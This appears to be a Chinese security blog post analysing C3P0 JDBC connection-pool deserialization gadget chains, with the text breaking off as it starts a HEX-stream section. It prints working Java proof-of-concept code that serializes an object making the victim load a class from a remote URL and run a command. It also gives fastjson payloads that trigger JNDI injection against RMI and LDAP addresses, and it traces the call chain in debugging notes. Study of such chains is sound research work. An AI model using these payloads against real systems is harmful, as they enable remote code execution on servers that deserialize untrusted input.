介绍
这里直接搬运一下
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
环境搭建
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
URLClassLoader
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package com.ocean; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class c3p0Vul { public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{
@Override public Reference getReference() throws NamingException { return new Reference("exp","exp","http://127.0.0.1:8889/"); }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase,c);
FileOutputStream fos = new FileOutputStream(new File("exp.bin")); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poolBackedDataSourceBase);
}
public static void Pool_Deserial() throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(new File("exp.bin")); ObjectInputStream objectInputStream = new ObjectInputStream(fis); objectInputStream.readObject(); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { EXP_Loader exp_loader = new EXP_Loader(); Pool_Serial(exp_loader); Pool_Deserial(); }
}
|
恶意类一定注意不要有包名不然会报错。
1 2 3 4 5 6 7
| import java.io.IOException; public class exp { public exp() throws IOException { Runtime.getRuntime().exec("open -a Calculator"); } }
|
下面记录一下这个链的调用过程。
执行流程详解
首先我们先找到漏洞的触发点是在com/mchange/v2/naming/ReferenceableUtils.java这个类的referentoobject方法里

很明显,该方法是用来进行类加载的。如果设置了一个远程工厂类地址fClassLocation
,则会使用URLClassLoader进行远程类加载。
然后看一下谁调用了他


可以找到是ReferenceableUtils这个类的getObject方法调用了他,再继续找一下是谁调用了他

可以看到是PoolBackedDataSourceBase的readObject方法中会进行调用,所以这里调用链就出来了。
不过这里我们还要详细看一下他的readobject方法

可以看到在调用他之后会强制转换为ConnectionPoolDataSource类型跟进去看看这个类

我们发现他并没有实现序列化,所以他是没法被进行序列化的那么这里为什么能转成这个对象呢
我们到他的writeObejct中看一下

可以看到这里如果不能进行序列化这个类的话会走到catch方法里用ReferenceIndirector.indirectForm(connectionPoolDataSource)
对其进行包装最终会返回一个ReferenceSerialized
类

所以ConnectionPoolDataSource
类经过序列化后,得到的最终是ReferenceSerialized
类,因此在PoolBackedDataSourceBase#readObject
中调用的其实是ReferenceSerialized#getObject()
方法。
这里一定要自己跟一下他序列化的流程否则后面的poc看起来可能会有点疑问。可以看到他调用了indirectForm对connectionPoolDataSource进行封装,然后调用了getReference方法将获取引用并实例化进去,这里就是我们的可控点,也就是我们传入恶意地址的地方。这条链其实算是借鸡生蛋,就是借着ConnectionPoolDataSource
类来下的ReferenceSerialized
🥚。
所以到这大盖就能明白poc的写法了
记录下调用链
1 2 3 4 5
| PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject -> ObjectFactory#getObjectInstance URLclassLoader 类加载
|
jndi利用
这里需要依赖于 fastjson 和 jackson去利用。先给出poc
poc
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON;
public class JNDI { public static void main(String[] args) { String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\": \"rmi://127.0.0.1:1099/e6pbsf\",\"loginTimeout\":0}"; JSON.parse(payload); } }
|
调试流程
先看调用的触发点

在com/mchange/v2/c3p0/JndiRefForwardingDataSource.java这个类的dereference方法里存在jndi注入的漏洞。接下来寻找在哪调用了dereference这个方法


可以看到还是该类的inner方法,继续看在哪调用了该inner方法

有好多个这里可以利用的是setLoginTimeout方法。他接受一个int类型的传参数。
所以这里就可以结合fastjson触发了。找一下jndiName赋值也有
在其父类里面JndiRefDataSourceBase
其实这里还有一个触发链条就是在这个类JndiRefConnectionPoolDataSource中

同时我们在这个类中

他是调用了com/mchange/v2/c3p0/WrapperConnectionPoolDataSource.java这个类中的setLoginTimeout方法

看看这个getNesteDataSource方法

直接返回了nestedDataSource对象其实调试会发现这个值最终是com/mchange/v2/c3p0/JndiRefForwardingDataSource.java这个类的对象
所以就可以通过fastjson结合com/mchange/v2/c3p0/JndiRefConnectionPoolDataSource.java这个类进行构造了
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class JNDI { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}"; JSON.parse(payload); } }
|
C3P0 之 HEX流加载任意类攻击
漏洞主要发生在WrapperConnectionPoolDataSource这个类中,来看一下这个类

看到他的构造方法调用了parseUserOverridesAsString方法传入的是userOverridesAsString这个属性